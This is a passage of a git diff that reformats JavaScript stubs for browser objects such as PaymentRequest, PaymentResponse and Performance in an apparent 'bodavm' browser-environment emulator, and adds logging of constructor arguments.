bodavm.memory.globalobj['PaymentMethodChangeEvent'].prototype, "PaymentMethodChangeEvent", "methodName_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentMethodChangeEvent', "methodDetails", { + configurable: true, + enumerable: true, + get: function methodDetails() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentMethodChangeEvent'].prototype, "PaymentMethodChangeEvent", "methodDetails_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/PaymentRequest.js b/env_xbb_lastest_jsdom/env/PaymentRequest.js index dba8a6ec..87fe47ab 100644 --- a/env_xbb_lastest_jsdom/env/PaymentRequest.js +++ b/env_xbb_lastest_jsdom/env/PaymentRequest.js @@ -1,16 +1,113 @@ -// PaymentRequest对象 -bodavm.memory.globalobj['PaymentRequest'] = function PaymentRequest(){if (!(this instanceof PaymentRequest)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PaymentRequest': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PaymentRequest'], "PaymentRequest"); -bodavm.memory.globalobj['PaymentRequest'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['PaymentRequest'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('PaymentRequest', "id", {configurable:true, enumerable:true, get:function id (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "id_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentRequest', "shippingAddress", {configurable:true, enumerable:true, get:function shippingAddress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "shippingAddress_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentRequest', "shippingOption", {configurable:true, enumerable:true, get:function shippingOption (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "shippingOption_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentRequest', "shippingType", {configurable:true, enumerable:true, get:function shippingType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "shippingType_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentRequest', "onshippingaddresschange", {configurable:true, enumerable:true, get:function onshippingaddresschange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "onshippingaddresschange_get", arguments)}, set:function onshippingaddresschange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "onshippingaddresschange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentRequest', "onshippingoptionchange", {configurable:true, enumerable:true, get:function onshippingoptionchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "onshippingoptionchange_get", arguments)}, set:function onshippingoptionchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "onshippingoptionchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentRequest', "abort", {configurable:true, enumerable:true, writable:true, value:function abort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "abort", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentRequest', "canMakePayment", {configurable:true, enumerable:true, writable:true, value:function canMakePayment (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "canMakePayment", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentRequest', "hasEnrolledInstrument", {configurable:true, enumerable:true, writable:true, value:function hasEnrolledInstrument (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "hasEnrolledInstrument", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentRequest', "show", {configurable:true, enumerable:true, writable:true, value:function show (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "show", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentRequest', "onpaymentmethodchange", {configurable:true, enumerable:true, get:function onpaymentmethodchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "onpaymentmethodchange_get", arguments)}, set:function onpaymentmethodchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "onpaymentmethodchange_set", arguments)}},'prototype'); +// PaymentRequest对象 + +bodavm.memory.globalobj['PaymentRequest'] = function PaymentRequest() { + console.log_copy('PaymentRequest 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PaymentRequest)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PaymentRequest': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PaymentRequest'], "PaymentRequest"); +bodavm.memory.globalobj['PaymentRequest'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['PaymentRequest'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('PaymentRequest', "id", { + configurable: true, + enumerable: true, + get: function id() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "id_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentRequest', "shippingAddress", { + configurable: true, + enumerable: true, + get: function shippingAddress() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "shippingAddress_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentRequest', "shippingOption", { + configurable: true, + enumerable: true, + get: function shippingOption() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "shippingOption_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentRequest', "shippingType", { + configurable: true, + enumerable: true, + get: function shippingType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "shippingType_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentRequest', "onshippingaddresschange", { + configurable: true, + enumerable: true, + get: function onshippingaddresschange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "onshippingaddresschange_get", arguments); + }, + set: function onshippingaddresschange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "onshippingaddresschange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentRequest', "onshippingoptionchange", { + configurable: true, + enumerable: true, + get: function onshippingoptionchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "onshippingoptionchange_get", arguments); + }, + set: function onshippingoptionchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "onshippingoptionchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentRequest', "abort", { + configurable: true, + enumerable: true, + writable: true, + value: function abort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "abort", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentRequest', "canMakePayment", { + configurable: true, + enumerable: true, + writable: true, + value: function canMakePayment() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "canMakePayment", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentRequest', "hasEnrolledInstrument", { + configurable: true, + enumerable: true, + writable: true, + value: function hasEnrolledInstrument() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "hasEnrolledInstrument", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentRequest', "show", { + configurable: true, + enumerable: true, + writable: true, + value: function show() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "show", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentRequest', "onpaymentmethodchange", { + configurable: true, + enumerable: true, + get: function onpaymentmethodchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "onpaymentmethodchange_get", arguments); + }, + set: function onpaymentmethodchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "onpaymentmethodchange_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/PaymentRequestUpdateEvent.js b/env_xbb_lastest_jsdom/env/PaymentRequestUpdateEvent.js index 1237bbed..8d3e30ea 100644 --- a/env_xbb_lastest_jsdom/env/PaymentRequestUpdateEvent.js +++ b/env_xbb_lastest_jsdom/env/PaymentRequestUpdateEvent.js @@ -1,6 +1,27 @@ -// PaymentRequestUpdateEvent对象 -bodavm.memory.globalobj['PaymentRequestUpdateEvent'] = function PaymentRequestUpdateEvent(){if (!(this instanceof PaymentRequestUpdateEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PaymentRequestUpdateEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PaymentRequestUpdateEvent'], "PaymentRequestUpdateEvent"); -bodavm.memory.globalobj['PaymentRequestUpdateEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['PaymentRequestUpdateEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('PaymentRequestUpdateEvent', "updateWith", {configurable:true, enumerable:true, writable:true, value:function updateWith (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequestUpdateEvent'].prototype, "PaymentRequestUpdateEvent", "updateWith", arguments)}},'prototype'); +// PaymentRequestUpdateEvent对象 + +bodavm.memory.globalobj['PaymentRequestUpdateEvent'] = function PaymentRequestUpdateEvent() { + console.log_copy('PaymentRequestUpdateEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PaymentRequestUpdateEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PaymentRequestUpdateEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PaymentRequestUpdateEvent'], "PaymentRequestUpdateEvent"); +bodavm.memory.globalobj['PaymentRequestUpdateEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['PaymentRequestUpdateEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('PaymentRequestUpdateEvent', "updateWith", { + configurable: true, + enumerable: true, + writable: true, + value: function updateWith() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequestUpdateEvent'].prototype, "PaymentRequestUpdateEvent", "updateWith", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/PaymentResponse.js b/env_xbb_lastest_jsdom/env/PaymentResponse.js index c3e0ebde..ae96858b 100644 --- a/env_xbb_lastest_jsdom/env/PaymentResponse.js +++ b/env_xbb_lastest_jsdom/env/PaymentResponse.js @@ -1,17 +1,117 @@ -// PaymentResponse对象 -bodavm.memory.globalobj['PaymentResponse'] = function PaymentResponse(){if (!(this instanceof PaymentResponse)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PaymentResponse'], "PaymentResponse"); -bodavm.memory.globalobj['PaymentResponse'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['PaymentResponse'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('PaymentResponse', "requestId", {configurable:true, enumerable:true, get:function requestId (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "requestId_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentResponse', "methodName", {configurable:true, enumerable:true, get:function methodName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "methodName_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentResponse', "details", {configurable:true, enumerable:true, get:function details (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "details_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentResponse', "shippingAddress", {configurable:true, enumerable:true, get:function shippingAddress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "shippingAddress_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentResponse', "shippingOption", {configurable:true, enumerable:true, get:function shippingOption (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "shippingOption_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentResponse', "payerName", {configurable:true, enumerable:true, get:function payerName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "payerName_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentResponse', "payerEmail", {configurable:true, enumerable:true, get:function payerEmail (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "payerEmail_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentResponse', "payerPhone", {configurable:true, enumerable:true, get:function payerPhone (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "payerPhone_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentResponse', "onpayerdetailchange", {configurable:true, enumerable:true, get:function onpayerdetailchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "onpayerdetailchange_get", arguments)}, set:function onpayerdetailchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "onpayerdetailchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentResponse', "complete", {configurable:true, enumerable:true, writable:true, value:function complete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "complete", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentResponse', "retry", {configurable:true, enumerable:true, writable:true, value:function retry (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "retry", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentResponse', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "toJSON", arguments)}},'prototype'); +// PaymentResponse对象 + +bodavm.memory.globalobj['PaymentResponse'] = function PaymentResponse() { + console.log_copy('PaymentResponse 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PaymentResponse)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PaymentResponse'], "PaymentResponse"); +bodavm.memory.globalobj['PaymentResponse'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['PaymentResponse'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('PaymentResponse', "requestId", { + configurable: true, + enumerable: true, + get: function requestId() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "requestId_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentResponse', "methodName", { + configurable: true, + enumerable: true, + get: function methodName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "methodName_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentResponse', "details", { + configurable: true, + enumerable: true, + get: function details() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "details_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentResponse', "shippingAddress", { + configurable: true, + enumerable: true, + get: function shippingAddress() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "shippingAddress_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentResponse', "shippingOption", { + configurable: true, + enumerable: true, + get: function shippingOption() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "shippingOption_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentResponse', "payerName", { + configurable: true, + enumerable: true, + get: function payerName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "payerName_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentResponse', "payerEmail", { + configurable: true, + enumerable: true, + get: function payerEmail() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "payerEmail_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentResponse', "payerPhone", { + configurable: true, + enumerable: true, + get: function payerPhone() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "payerPhone_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentResponse', "onpayerdetailchange", { + configurable: true, + enumerable: true, + get: function onpayerdetailchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "onpayerdetailchange_get", arguments); + }, + set: function onpayerdetailchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "onpayerdetailchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentResponse', "complete", { + configurable: true, + enumerable: true, + writable: true, + value: function complete() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "complete", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentResponse', "retry", { + configurable: true, + enumerable: true, + writable: true, + value: function retry() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "retry", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PaymentResponse', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "toJSON", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Performance.js b/env_xbb_lastest_jsdom/env/Performance.js index bf36850e..6a26a9e6 100644 --- a/env_xbb_lastest_jsdom/env/Performance.js +++ b/env_xbb_lastest_jsdom/env/Performance.js @@ -1,27 +1,164 @@ -// Performance对象 -bodavm.memory.globalobj['Performance'] = function Performance(){if (!(this instanceof Performance)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Performance'], "Performance"); -bodavm.memory.globalobj['Performance'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['Performance'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('Performance', "timeOrigin", {configurable:true, enumerable:true, get:function timeOrigin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "timeOrigin_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Performance', "onresourcetimingbufferfull", {configurable:true, enumerable:true, get:function onresourcetimingbufferfull (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "onresourcetimingbufferfull_get", arguments)}, set:function onresourcetimingbufferfull (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "onresourcetimingbufferfull_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Performance', "clearMarks", {configurable:true, enumerable:true, writable:true, value:function clearMarks (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "clearMarks", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Performance', "clearMeasures", {configurable:true, enumerable:true, writable:true, value:function clearMeasures (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "clearMeasures", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Performance', "clearResourceTimings", {configurable:true, enumerable:true, writable:true, value:function clearResourceTimings (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "clearResourceTimings", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Performance', "getEntries", {configurable:true, enumerable:true, writable:true, value:function getEntries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "getEntries", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Performance', "getEntriesByName", {configurable:true, enumerable:true, writable:true, value:function getEntriesByName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "getEntriesByName", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Performance', "getEntriesByType", {configurable:true, enumerable:true, writable:true, value:function getEntriesByType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "getEntriesByType", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Performance', "mark", {configurable:true, enumerable:true, writable:true, value:function mark (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "mark", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Performance', "measure", {configurable:true, enumerable:true, writable:true, value:function measure (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "measure", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Performance', "now", {configurable:true, enumerable:true, writable:true, value:function now (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "now", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Performance', "setResourceTimingBufferSize", {configurable:true, enumerable:true, writable:true, value:function setResourceTimingBufferSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "setResourceTimingBufferSize", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Performance', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "toJSON", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Performance', "timing", {configurable:true, enumerable:true, get:function timing (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "timing_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Performance', "navigation", {configurable:true, enumerable:true, get:function navigation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "navigation_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Performance', "memory", {configurable:true, enumerable:true, get:function memory (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "memory_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Performance', "eventCounts", {configurable:true, enumerable:true, get:function eventCounts (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "eventCounts_get", arguments)}, set:undefined},'prototype'); -// performance对象 -bodavm.memory.globalobj['performance'] = { - _boisinit:bodavm.config.isinit - } -bodavm.memory.globalobj['performance'].__proto__=bodavm.memory.globalobj['Performance'].prototype; +// Performance对象 + +bodavm.memory.globalobj['Performance'] = function Performance() { + console.log_copy('Performance 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Performance)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Performance'], "Performance"); +bodavm.memory.globalobj['Performance'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['Performance'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('Performance', "timeOrigin", { + configurable: true, + enumerable: true, + get: function timeOrigin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "timeOrigin_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Performance', "onresourcetimingbufferfull", { + configurable: true, + enumerable: true, + get: function onresourcetimingbufferfull() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "onresourcetimingbufferfull_get", arguments); + }, + set: function onresourcetimingbufferfull() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "onresourcetimingbufferfull_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Performance', "clearMarks", { + configurable: true, + enumerable: true, + writable: true, + value: function clearMarks() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "clearMarks", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Performance', "clearMeasures", { + configurable: true, + enumerable: true, + writable: true, + value: function clearMeasures() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "clearMeasures", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Performance', "clearResourceTimings", { + configurable: true, + enumerable: true, + writable: true, + value: function clearResourceTimings() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "clearResourceTimings", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Performance', "getEntries", { + configurable: true, + enumerable: true, + writable: true, + value: function getEntries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "getEntries", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Performance', "getEntriesByName", { + configurable: true, + enumerable: true, + writable: true, + value: function getEntriesByName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "getEntriesByName", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Performance', "getEntriesByType", { + configurable: true, + enumerable: true, + writable: true, + value: function getEntriesByType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "getEntriesByType", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Performance', "mark", { + configurable: true, + enumerable: true, + writable: true, + value: function mark() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "mark", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Performance', "measure", { + configurable: true, + enumerable: true, + writable: true, + value: function measure() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "measure", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Performance', "now", { + configurable: true, + enumerable: true, + writable: true, + value: function now() { + return 